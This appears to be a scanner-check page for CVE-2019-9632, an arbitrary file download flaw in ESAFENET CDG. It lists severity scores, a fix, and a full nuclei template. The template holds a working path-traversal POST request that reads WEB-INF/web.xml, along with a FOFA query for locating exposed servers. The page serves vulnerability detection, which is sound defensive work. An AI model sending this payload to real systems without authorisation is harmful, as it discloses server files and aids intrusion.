ESAFENET CDG - Arbitrary File Download

highseverity

7.5CVSS score

39%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.

Impact

Attackers can download arbitrary files from the server, potentially leading to information disclosure or further exploitation.

Fix

Apply the latest security patches or update to the latest version provided by ESAFENET.

How to confirm it

Send: POST {{BaseURL}}/CDGServer3/ClientAjax
Positive when: status 200 AND contains "<servlet-name>CDGPermissions</servlet-name>"

Run it with nuclei: nuclei -id CVE-2019-9632 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-9632

info:
  name: ESAFENET CDG - Arbitrary File Download
  author: pdteam
  severity: high
  description: |
    ESAFENET CDG V3 and V5 has an arbitrary file download vulnerability via the fileName parameter in download.jsp because the InstallationPack parameter is mishandled in a /CDGServer3/ClientAjax request.
  impact: |
    Attackers can download arbitrary files from the server, potentially leading to information disclosure or further exploitation.
  remediation: |
    Apply the latest security patches or update to the latest version provided by ESAFENET.
  reference:
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-9632
    epss-score: 0.39019
    epss-percentile: 0.98604
    cpe: cpe:2.3:a:esafenet:electronic_document_security_management_system:v3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: esafenet
    product: "electronic_document_security_management_system"
    fofa-query: "title=\"电子文档安全管理系统\""
  tags: cve,cve2019,esafenet,lfi,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/CDGServer3/ClientAjax"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: |
      command=downclientpak&InstallationPack=../WEB-INF/web.xml&forward=index.jsp

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<servlet-name>CDGPermissions</servlet-name>"

References

Use this check only on systems you are authorised to test. Where the data comes from